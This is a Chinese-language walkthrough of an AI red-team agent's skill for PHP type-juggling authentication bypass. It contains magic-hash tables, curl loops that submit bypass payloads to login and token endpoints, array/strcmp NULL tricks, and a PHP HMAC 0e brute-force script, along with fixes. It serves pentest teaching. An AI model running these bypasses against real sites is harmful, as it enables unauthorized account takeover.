Decepticon 红队技能详解:PHP 类型混淆与 Magic Hash 认证绕过实战
Decepticon 红队技能详解:PHP 类型混淆与 Magic Hash 认证绕过实战
本篇为 Decepticon 仓库内置技能
php-type-juggling(位于 packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md)的深度解读与实战扩充。文章以该技能文档为主体骨架,结合仓库源码展开原理分析。读者学完后将掌握:PHP 宽松比较(==)的完整混淆矩阵、0e 前缀 Magic Hash 碰撞表的实战用法、数组输入触发 NULL 返回的认证绕过手法、strcmp()返回值绕过、HMAC 0e 碰撞暴力破解,以及如何在 PHP 8.0+ 环境下正确判断漏洞存活条件,并输出可复制可运行的 curl 与 PHP 利用脚本。
授权声明(Authorized-use only):以下所有技术与脚本仅可用于测试自己拥有或获得明确书面授权的系统。未经授权的利用行为违反全球范围内的计算机欺诈相关法律,本文内容仅用于安全研究、CTF 与授权渗透测试。
技能在 Decepticon 中的定位与加载方式
php-type-juggling 属于 Decepticon 技能体系中 standard/exploit/web/ 门类下的一个子技能,是 Web 应用利用(Web Application Exploitation)技能路由树中的一员。其 YAML frontmatter 声明了完整的元信息:
name: php-type-juggling
description: "PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication."
allowed-tools: Bash Read Write
metadata:
subdomain: authentication
when_to_use: "php type juggling, loose comparison, magic hash, 0e hash, strcmp bypass, php authentication bypass, hash collision php, php == comparison, md5 collision, sha1 collision"
tags: web-application, php, authentication-bypass, type-juggling, magic-hash, loose-comparison
mitre_attack: T1190, T1606.001
技能系统采用**渐进式披露(Progressive Disclosure)**机制(参见 docs/skills.md):Agent 启动时只将 name 与 description 注入系统提示(约 50–100 token);当任务匹配到 when_to_use 中的触发词(如 php type juggling、0e hash、strcmp bypass)时,Agent 调用 load_skill() 加载完整的 SKILL.md 正文(约 500–2,000 token)。这种机制保证了上下文窗口的轻量,同时让深度知识按需可用。
技能加载的入口是 build_load_skill_tool(见 packages/decepticon/decepticon/tools/skills.py#L220-L293),其路径解析支持三种形式:
- 精确虚拟路径:
load_skill("/skills/standard/exploit/web/php-type-juggling/SKILL.md") - 相对路径:
load_skill("standard/exploit/web/php-type-juggling/SKILL.md") - 唯一 slug:
load_skill("php-type-juggling")
加载器会对路径做安全校验:必须以 /skills/ 开头、必须是 .md 文件、禁止 .. 路径穿越,并受 Agent 技能源白名单约束(_validate_skill_path,见 packages/decepticon/decepticon/tools/skills.py#L116-L144)。/skills/ 前缀由 CompositeBackend 路由到进程内的 FilesystemBackend,因此只能通过 load_skill 读取,不能用 read_file 或 bash 直接访问。
在 Decepticon 的 Web 攻击决策流中(见 packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md 与 packages/decepticon/decepticon/agents/prompts/workflows/exploit.md#L71-L95),当侦察阶段发现 PHP 后端登录表单、token 校验端点或 HMAC Cookie 校验器,且存在宽松比较嫌疑时,Agent 应加载本技能再行动。Exploit 工作流强制要求 SKILL-FIRST 原则:执行任何攻击前必须先加载对应子技能,从记忆直接行动被视为关键失败。
原理基础:PHP 宽松比较的混淆本质
PHP 是弱类型语言。使用 ==(宽松比较)而非 ===(严格比较)时,PHP 会进行类型强制转换:以 0e 开头且后续全为数字的字符串会被当作科学计数法表示的数字,其值为 0。攻击者若能控制比较的一侧,就可以用可预测的哈希输出(即 "Magic Hashes")强制比较相等,从而绕过 HMAC 校验,或利用类型错误产生的 NULL 返回值突破认证。
该漏洞在 PHP 5.x–7.x 中广泛存在;PHP 8.0+ 修复了大多数数字字符串比较问题,但仍存在边缘情况。在发起攻击前必须先确认目标 PHP 版本。
宽松比较速查表(Cheat Sheet)
技能文档给出的核心比较规则如下:
'0010e2' == '1e3' → true (both evaluate as float 1000)
'123' == 123 → true (string cast to int)
'123abc' == 123 → true (leading numeric string)
'abc' == 0 → true (non-numeric string == 0 in PHP 5/7)
'' == 0 → true
0 == false → true
false == NULL → true
NULL == '' → true
md5([]) == NULL → true (NULL == any string starting with 0e)
sha1([]) == NULL → true
PHP 8.0 关键行为变化
| 比较表达式 | PHP 5/7 结果 | PHP 8.0+ 结果 | 影响 |
|---|---|---|---|
'abc' == 0 |
true |
false |
字符串转零绕过失效 |
strcmp([]) |
返回 NULL |
抛出 TypeError |
数组绕过失效,反而可能触发错误暴露 |
| 非数字字符串与数字比较 | 转换为 0 | 数字字符串才参与数值比较 | '123abc' == 123 在 8.0 中仍为 true(前缀数字串) |
因此,利用前必须判断目标 PHP 版本:可通过 /info.php 页面、响应头 X-Powered-By、错误日志中的版本痕迹等方式确认。PHP 7 及以下仍是这类攻击的主战场。
Magic Hashes:0e 前缀碰撞
当某个哈希输出以 0e 开头且后面全是数字时,PHP 的 == 比较会将其视为浮点数 0。两个这样的哈希在 == 下必然相等,无论其真实值是什么。这就是 "Magic Hash" 攻击的核心:构造一个输入,使 md5($input)、sha1($input) 等产生 0e... 形式的输出,从而与存储的 0e... 哈希(或字面量 0)碰撞。
MD5 Magic Strings
| Input | MD5 Hash |
|---|---|
240610708 |
0e462097431906509019562988736854 |
QNKCDZO |
0e830400451993494058024219903391 |
0e1137126905 |
0e291659922323405260514745084877 |
0e215962017 |
0e291242476940776845150308577824 |
aabg7XSs |
0e087386482136013740957780965295 |
SHA-1 Magic Strings
| Input | SHA-1 Hash |
|---|---|
10932435112 |
0e07766915004133176347055865026311692244 |
aaroZmOk |
0e66507019969427134894567494305185566735 |
aaK1STfY |
0e76658526655756207688271159624026011393 |
SHA-224 / SHA-256 Magic Strings
| Hash | Input | Output |
|---|---|---|
| SHA-224 | 10885164793773 |
0e281250946775200129471613219196999537878926740638594636 |
| SHA-256 | 34250003024812 |
0e46289032038065916139621039085883773413820991920706299695051332 |
| SHA-256 | TyNOQHUS |
0e66298694359207596086558843543959518835691168370379069085300385 |
登录绕过利用脚本
典型服务端代码形态:if (md5($input) == $stored_hash) { login() }。当 $stored_hash 本身也是 0e... 哈希时,任何 0e... 输入都会碰撞成功:
# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.
# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
echo -n "Trying $magic: "
curl -si "https://target.example.com/login" \
-d "username=admin&password=${magic}" \
| grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done
实战要点:循环尝试 magic 输入时,通过响应中的 Location: 重定向(302 到后台)、Set-Cookie: 会话下发、或页面中的 Welcome/dashboard 字样判断是否成功。若目标要求 JSON 提交,可将 payload 放入 {"password": "240610708"} 后调整 Content-Type: application/json。
注意:上一小节速查表末尾的 md5([]) == NULL → true 提示中 "NULL == any string starting with 0e" 存在一个常见误解——实际上 NULL 与 0e... 字符串的相等关系来自 NULL == '' 与 '' == 0 的链式传递;在 PHP 5/7 中 md5([]) 返回 NULL 后,与任何宽松比较场景下的 0 值(含 0e... 字符串求值)都会相等。这正是数组输入绕过的基础(见下节)。
NULL Bypass:数组输入触发哈希函数返回 NULL
在 PHP 5/7 中,md5([]) 与 sha1([]) 对数组输入会返回 NULL(伴随一条 warning)。在宽松比较下,NULL == '' 为 true。如果服务端代码写成 md5($input) == '' 或类似形式,攻击者即可用空数组绕过:
# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
-d "username=admin&password[]=" \
| grep -E "Location:|Set-Cookie:|error"
# POST with array notation
curl -si "https://target.example.com/verify" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "hash[]=&user=admin" \
| grep -i "success\|error\|redirect"
原理拆解:password[]= 在表单编码中被解析为 password 参数是一个数组($_POST['password'] 为 [])。哈希函数接收数组后返回 NULL,宽松比较 NULL == ''(或 NULL == 0)成立。若服务端使用 empty()、isset() 等做了前置过滤,该手法可能被拦截,需要结合具体代码形态判断。
PHP 8.0+ 变化:md5([]) 现在会抛出 TypeError(不再返回 NULL),因此该绕过在 8.0+ 下失效;但如果服务端错误处理不当,抛出的异常信息反而可能泄露内部实现细节(如函数名、文件路径),可作为信息收集向量。
strcmp() 返回值绕过
strcmp() 成功(相等)时返回 0,否则返回非零值。当服务端写成 strcmp($input, $secret) == 0 时,传入数组会使 strcmp() 返回 NULL,而 NULL == 0 在 PHP 5/7 中为 true,从而绕过密码校验:
# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
-d "username=admin&pass[]=" \
| grep -iE "success|welcome|redirect|Location"
辨析:strcmp([]) 在 PHP 5/7 返回 NULL 并伴随 warning;NULL == 0 为 true,故绕过成立。在 PHP 8.0+ 中 strcmp() 遇到数组会抛出 TypeError,绕过失效。该手法同样适用于其他返回 int/NULL 的比较函数形态,只要最终比较点是宽松的 == 0。修复方式:改用 === 或 hash_equals()(后者同时提供时序安全的长度恒定比较)。
HMAC 0e 碰撞暴力破解(Magic HMAC)
当 Cookie 的 HMAC 校验使用宽松比较与字面量 "0" 比较时(例如 hash_hmac('md5', $payload, $key) == "0"),攻击者可以暴力遍历过期时间戳,直到 hash_hmac('md5', payload, key) 产生 0e... 字符串——该字符串在 == 下等于 "0"。
适用前提:密钥为空或已知(例如通过 .env 泄露、默认空密钥配置)。若密钥未知且不可获得,该攻击不可行。
技能文档给出了完整的 PHP 爆破脚本:
# PHP script to find a magic HMAC timestamp (empty key example)
# Run: php find_magic_hmac.php
cat > /tmp/find_magic_hmac.php << 'EOF'
<?php
$username = 'admin';
$key = ''; // replace with known key or empty string leak
for ($i = 1424869663; $i < 1835970773; $i++) {
$out = hash_hmac('md5', $username . '|' . $i, $key);
if (str_starts_with($out, '0e') && ctype_digit(substr($out, 2))) {
echo "Found: expiration=$i hash=$out\n";
break;
}
}
EOF
php /tmp/find_magic_hmac.php
# Then craft the cookie with hmac=0 and the found expiration
# cookie: username=admin; expiration=<found>; hmac=0
脚本解读:时间戳遍历区间为 1424869663(约 2015-02-25)到 1835970773(约 2028-03-05),覆盖常见 Cookie 有效期设定;每次计算 hash_hmac('md5', 'admin|' . $i, $key),命中 0e + 纯数字即输出。找到后,将 Cookie 中的 expiration 替换为找到的值、hmac 固定为 0,即可通过服务端 == "0" 校验。
延伸说明:该手法可推广到任何 "验证值 == "0" 且验证值来自可遍历输入" 的场景,例如 md5($email . $expiry) == "0" 形式的退订链接、激活链接等。爆破时间取决于 CPU 与区间大小,建议在目标网络环境允许、且已确认密钥前提的条件下执行。
类型混淆在 JSON API 中的利用
JSON 反序列化同样可能引入混淆问题:当 PHP 将 JSON 类型转换为 PHP 类型后再进行比较时,攻击者可以通过类型转换控制比较语义。例如把字符串 "false"/"no" 换成整数 0,或直接传布尔 true 绕过布尔检查:
# Send integer 0 instead of string "false"/"no"
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"token": 0, "user": "admin"}' \
| grep -iE "success|error|200"
# Send true to bypass boolean checks
curl -si "https://target.example.com/api/verify" \
-H "Content-Type: application/json" \
-d '{"admin": true, "role": "admin"}' \
| grep -iE "success|error|200"
原理:PHP 的 json_decode() 默认将 JSON 数值转换为 PHP int/float、true/false 转换为 bool、字符串保留为 string。若后端随后执行 $token == 0(宽松比较),JSON 整数 0 与数值 0 严格相等;若执行 $admin == true 或 if ($admin),布尔 true 直接通过。此类问题常出现在 json_decode 结果直接参与权限判断的 API 中,尤其在未使用 json_decode($body, false) 显式类型约束时更为隐蔽。
识别易受攻击的 PHP 代码模式
若目标源码可访问(例如泄露的备份、开源应用),直接用 grep 定位可疑比较点:
# Grep the target's source (if accessible — e.g., leaked backup, open source app)
grep -rn '==[[:space:]]*\(md5\|sha1\|hash\|strcmp\|password_verify\)' /var/www/html/ 2>/dev/null
grep -rn 'if.*md5.*==\|if.*sha1.*==' /var/www/html/ 2>/dev/null
grep -rn 'strcmp.*==\s*0\|0\s*==.*strcmp' /var/www/html/ 2>/dev/null
# Look for PHP version to assess 0e / array bypass viability
curl -si "https://target.example.com/info.php" | grep -i "PHP Version"
curl -si "https://target.example.com/" | grep -i "x-powered-by"
模式识别要点:
md5($x) == $y形态 → 若$y为0e...字面量或用户可控 → magic hash 碰撞;strcmp($x, $secret) == 0形态 → 数组 NULL 绕过;hash_hmac(...) == "0"形态 → HMAC 0e 爆破;$x == 0且$x来自用户输入 → 字符串转零绕过(PHP 5/7)。
注意:password_verify() 不受类型混淆影响(它内部使用 hash_equals 语义),若代码已使用 password_hash/password_verify,应转向其他攻击向量,不要在此浪费时间。grep 输出中的 2>/dev/null 用于抑制权限错误;版本探测时 info.php 若不存在(生产环境常见),可尝试响应头 X-Powered-By: PHP/7.x.x,或用 Server 头 + 行为差分(如 'abc' == 0 探针)间接推断。
常见真实世界攻击目标(Common Targets)
| Application Class | Likely Sink |
|---|---|
| 自定义 PHP 登录表单 | md5($pass) == $stored |
| Token 校验端点 | strcmp($token, $secret) == 0 |
| HMAC Cookie 校验器 | hmac($cookie) != $supplied(使用 ==) |
| 邮件退订链接 | md5($email) == $_GET['hash'] |
| 管理员 PIN 校验 | sha1($pin) == $db_hash |
举例:邮件退订链接场景中,服务端常生成 unsubscribe.php?email=...&hash=md5($email) 形式链接。若校验写成 md5($email) == $_GET['hash'],攻击者可对任意已知邮箱(如受害者邮箱)计算其真实 md5,或直接使用 magic 输入构造碰撞。管理员 PIN 校验若将 sha1($pin) 与数据库中的 0e... 哈希宽松比较,则可提交任意 magic 输入。
检测注意事项与修复建议(Detection Notes)
技能文档给出的检测与修复要点:
- 版本敏感性:PHP 8.0+ 将
'abc' == 0修正为false,strcmp对数组输入抛出异常;PHP 7 及以下仍受影响。利用前必须探测版本。 - 静态分析:
psalm --taint-analysis与phpstan(level 8)可标记宽松比较。phpstanlevel 8 会对==与===混用、字符串与数字比较等发出告警。 - 动态探测:对 hash/strcmp 参数提交
[](数组),观察响应中的 PHP warning 或错误日志中的类型错误信息。 - 修复方案:
- 哈希比较一律使用
===(严格比较); - HMAC 校验使用
hash_equals()(时序安全,长度恒定比较,同时免疫数组 TypeError 与类型混淆); - 输入侧对数组参数做类型校验(
is_string()等),从源头阻断数组绕过; - 升级 PHP 8.0+ 可消除大部分数值字符串混淆,但需同时审查代码中的宽松比较使用点。
- 哈希比较一律使用
在 Decepticon 技能体系中的纵深应用
该技能并非孤立文档,它与 Decepticon 的整体技能与工作流深度耦合:
- 路由入口:Web 攻击路由技能 packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md 负责按目标特征分发到各子技能;php-type-juggling 属于认证绕过(authentication)子域。侦察阶段一旦发现 PHP 后端 + 登录/token/HMAC 校验形态,即应加载本技能。
- 工作流纪律:exploit.md 工作流要求 SKILL-FIRST——先加载技能再行动;攻击前清理残留进程(
pkill -f '_debug|sweep|probe|nohup');利用脚本保持原子性(一次调用完成 probe → attack → verify)。 - Benchmark 快路径:在 CTF/benchmark 模式下(见 packages/decepticon/decepticon/skills/benchmark/SKILL.md),挑战预声明的
Vulnerability tags可直接映射到子技能。当前快路径表中未单列type_juggling标签时,Agent 需通过 web/SKILL.md 的观察证据路由完成分类。 - 技能质量保障:所有 SKILL.md 受 skill_audit 校验,强制要求
name、description、subdomain、when_to_use等字段完整且 MITRE ID 格式正确;本技能的 frontmatter 满足全部约束(subdomain: authentication、mitre_attack: T1190, T1606.001)。 - 知识图谱演进:Decepticon 正在用 Skillogy(Neo4j 知识图谱层)逐步取代纯文本匹配技能系统(见 docs/skills.md 与 docs/skillogy.md),但
SKILL.md的编写规范在两种系统下保持一致,本技能文档可直接被图谱层索引。
附:ATT&CK 映射
| Technique | Notes |
|---|---|
| T1190 | Exploit public-facing application — auth bypass via comparison flaw(利用面向公众应用的认证绕过,入口为 Web 漏洞) |
| T1606.001 | Forge web credentials — force authentication with crafted hash values(伪造 Web 凭据,用构造的哈希值强制通过认证) |
参考资源
- PayloadsAllTheThings: Type Juggling
- OWASP: PHP Type Juggling
- Magic Hashes — spaze/hashes
- Super Magic Hashes — Almond Consulting
实战前置检查清单:① 确认目标 PHP 版本(7 及以下为高危);② 确认攻击对象为授权目标;③ 先加载技能再行动(SKILL-FIRST);④ 利用脚本保持原子化,单次调用完成探测-攻击-验证;⑤ 对
==与===、hash_equals()的使用点建立完整的证据链并写入 findings 报告(对应 Decepticon 的findings/FIND-{NNN}.md规范)。